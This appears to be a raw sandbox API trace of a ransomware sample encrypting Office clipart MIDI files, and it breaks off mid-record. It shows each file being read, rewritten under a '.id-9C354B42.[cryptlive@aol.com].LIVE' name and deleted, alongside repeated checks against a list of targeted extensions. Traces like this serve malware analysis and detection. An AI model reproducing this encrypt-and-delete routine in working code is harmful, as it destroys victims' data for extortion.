[0134.073] CloseHandle (hObject=0x36c) returned 1 [0134.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 0x20 [0134.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.074] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.074] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.075] GetLastError () returned 0x0 [0134.075] ReadFile (in: hFile=0x36c, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x1c0a, lpOverlapped=0x0) returned 1 [0134.076] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0134.078] ReadFile (in: hFile=0x36c, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.078] WriteFile (in: hFile=0x384, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.078] SetEndOfFile (hFile=0x384) returned 1 [0134.078] CloseHandle (hObject=0x384) returned 1 [0134.078] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.078] SetEndOfFile (hFile=0x36c) returned 1 [0134.114] CloseHandle (hObject=0x36c) returned 1 [0134.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0134.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0134.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0134.388] lstrlenW (lpString=".doc") returned 4 [0134.388] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.388] lstrlenW (lpString=".docx") returned 5 [0134.388] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.388] lstrlenW (lpString=".pdf") returned 4 [0134.389] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.389] lstrlenW (lpString=".xls") returned 4 [0134.389] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.389] lstrlenW (lpString=".xlsx") returned 5 [0134.389] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.389] lstrlenW (lpString=".ppt") returned 4 [0134.389] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0134.389] lstrlenW (lpString=".zip") returned 4 [0134.389] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.389] lstrlenW (lpString=".rar") returned 4 [0134.389] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.389] lstrlenW (lpString=".bz2") returned 4 [0134.389] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.389] lstrlenW (lpString=".7z") returned 3 [0134.389] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0134.389] lstrlenW (lpString=".dbf") returned 4 [0134.389] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0134.389] lstrlenW (lpString=".1cd") returned 4 [0134.390] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0134.390] lstrlenW (lpString=".jpg") returned 4 [0134.390] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0134.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0134.390] lstrlenW (lpString=".doc") returned 4 [0134.390] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.390] lstrlenW (lpString=".docx") returned 5 [0134.390] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.390] lstrlenW (lpString=".pdf") returned 4 [0134.390] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.390] lstrlenW (lpString=".xls") returned 4 [0134.390] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.390] lstrlenW (lpString=".xlsx") returned 5 [0134.390] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.390] lstrlenW (lpString=".ppt") returned 4 [0134.390] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0134.390] lstrlenW (lpString=".zip") returned 4 [0134.390] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.390] lstrlenW (lpString=".rar") returned 4 [0134.390] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.390] lstrlenW (lpString=".bz2") returned 4 [0134.390] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.390] lstrlenW (lpString=".7z") returned 3 [0134.390] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0134.390] lstrlenW (lpString=".dbf") returned 4 [0134.391] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0134.391] lstrlenW (lpString=".1cd") returned 4 [0134.391] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0134.391] lstrlenW (lpString=".jpg") returned 4 [0134.391] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.391] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.391] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0134.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0134.448] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=6880) returned 1 [0134.448] CloseHandle (hObject=0x39c) returned 1 [0134.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 0x20 [0134.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0134.531] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.531] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.532] GetLastError () returned 0x0 [0134.532] ReadFile (in: hFile=0x384, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x1ae0, lpOverlapped=0x0) returned 1 [0134.547] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x1af0, lpOverlapped=0x0) returned 1 [0134.548] ReadFile (in: hFile=0x384, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.548] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.548] SetEndOfFile (hFile=0x2f8) returned 1 [0134.548] CloseHandle (hObject=0x2f8) returned 1 [0134.548] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.548] SetEndOfFile (hFile=0x384) returned 1 [0134.551] CloseHandle (hObject=0x384) returned 1 [0134.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 1 [0134.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0134.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0134.552] lstrlenW (lpString=".doc") returned 4 [0134.552] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.552] lstrlenW (lpString=".docx") returned 5 [0134.552] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.552] lstrlenW (lpString=".pdf") returned 4 [0134.552] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.552] lstrlenW (lpString=".xls") returned 4 [0134.552] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.552] lstrlenW (lpString=".xlsx") returned 5 [0134.552] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.552] lstrlenW (lpString=".ppt") returned 4 [0134.552] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0134.553] lstrlenW (lpString=".zip") returned 4 [0134.553] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.553] lstrlenW (lpString=".rar") returned 4 [0134.553] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.553] lstrlenW (lpString=".bz2") returned 4 [0134.553] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.553] lstrlenW (lpString=".7z") returned 3 [0134.553] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0134.553] lstrlenW (lpString=".dbf") returned 4 [0134.553] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0134.553] lstrlenW (lpString=".1cd") returned 4 [0134.553] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0134.553] lstrlenW (lpString=".jpg") returned 4 [0134.553] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0134.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0134.553] lstrlenW (lpString=".doc") returned 4 [0134.553] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.553] lstrlenW (lpString=".docx") returned 5 [0134.553] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.553] lstrlenW (lpString=".pdf") returned 4 [0134.553] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.553] lstrlenW (lpString=".xls") returned 4 [0134.553] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.553] lstrlenW (lpString=".xlsx") returned 5 [0134.553] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.553] lstrlenW (lpString=".ppt") returned 4 [0134.553] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0134.553] lstrlenW (lpString=".zip") returned 4 [0134.553] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.554] lstrlenW (lpString=".rar") returned 4 [0134.554] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.554] lstrlenW (lpString=".bz2") returned 4 [0134.554] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.554] lstrlenW (lpString=".7z") returned 3 [0134.554] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0134.554] lstrlenW (lpString=".dbf") returned 4 [0134.554] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0134.554] lstrlenW (lpString=".1cd") returned 4 [0134.554] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0134.554] lstrlenW (lpString=".jpg") returned 4 [0134.554] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.554] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.554] lstrlenW (lpString="PARNT_03.MID") returned 12 [0134.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0134.729] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=8538) returned 1 [0134.729] CloseHandle (hObject=0x1ec) returned 1 [0134.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 0x20 [0134.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.767] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.767] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0134.771] GetLastError () returned 0x0 [0134.771] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x215a, lpOverlapped=0x0) returned 1 [0134.773] WriteFile (in: hFile=0x388, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x2160, lpOverlapped=0x0) returned 1 [0134.774] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.774] WriteFile (in: hFile=0x388, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.774] SetEndOfFile (hFile=0x388) returned 1 [0134.774] CloseHandle (hObject=0x388) returned 1 [0134.775] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.775] SetEndOfFile (hFile=0x314) returned 1 [0134.780] CloseHandle (hObject=0x314) returned 1 [0134.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0134.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0134.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0134.917] lstrlenW (lpString=".doc") returned 4 [0134.917] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.917] lstrlenW (lpString=".docx") returned 5 [0134.917] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0134.917] lstrlenW (lpString=".pdf") returned 4 [0134.917] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.917] lstrlenW (lpString=".xls") returned 4 [0134.917] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.917] lstrlenW (lpString=".xlsx") returned 5 [0134.917] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0134.917] lstrlenW (lpString=".ppt") returned 4 [0134.917] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0134.917] lstrlenW (lpString=".zip") returned 4 [0134.917] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.917] lstrlenW (lpString=".rar") returned 4 [0134.917] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.917] lstrlenW (lpString=".bz2") returned 4 [0134.918] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.918] lstrlenW (lpString=".7z") returned 3 [0134.918] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0134.918] lstrlenW (lpString=".dbf") returned 4 [0134.918] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0134.918] lstrlenW (lpString=".1cd") returned 4 [0134.918] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0134.918] lstrlenW (lpString=".jpg") returned 4 [0134.918] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0134.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0134.918] lstrlenW (lpString=".doc") returned 4 [0134.918] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.918] lstrlenW (lpString=".docx") returned 5 [0134.918] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0134.918] lstrlenW (lpString=".pdf") returned 4 [0134.918] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.918] lstrlenW (lpString=".xls") returned 4 [0134.918] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.918] lstrlenW (lpString=".xlsx") returned 5 [0134.918] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0134.918] lstrlenW (lpString=".ppt") returned 4 [0134.918] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0134.919] lstrlenW (lpString=".zip") returned 4 [0134.919] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.919] lstrlenW (lpString=".rar") returned 4 [0134.919] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.919] lstrlenW (lpString=".bz2") returned 4 [0134.919] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.919] lstrlenW (lpString=".7z") returned 3 [0134.919] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0134.919] lstrlenW (lpString=".dbf") returned 4 [0134.919] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0134.919] lstrlenW (lpString=".1cd") returned 4 [0134.919] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0134.919] lstrlenW (lpString=".jpg") returned 4 [0134.919] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.919] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.919] lstrlenW (lpString="ROAD_01.MID") returned 11 [0134.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.920] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=5983) returned 1 [0134.920] CloseHandle (hObject=0x314) returned 1 [0134.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 0x20 [0134.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.920] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, 